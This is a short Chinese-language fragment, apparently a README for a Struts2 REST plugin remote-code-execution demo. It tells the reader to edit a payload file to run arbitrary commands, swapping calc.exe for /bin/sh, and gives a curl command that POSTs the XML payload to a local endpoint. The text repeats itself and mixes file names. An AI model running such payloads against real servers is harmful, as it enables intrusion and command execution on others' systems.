mvn jetty:run。http://localhost:8080/pizza/1。重要的是遵循 struts2 插件命名约定以自动连接所有内容。mvn jetty:run。payload.xml 文件包含要 POST 到易受攻击的应用程序/REST 接口的 XML 载荷。payload.txt 文件的第 17 行可以更新以运行任意命令。当前设置为启动 calc.exe (Windows)。对于 Linux 等系统,请替换为 /bin/sh。curl -v -H "Content-Type:application/xml" -X POST -d @payload.txt http://localhost:8080/shapes/1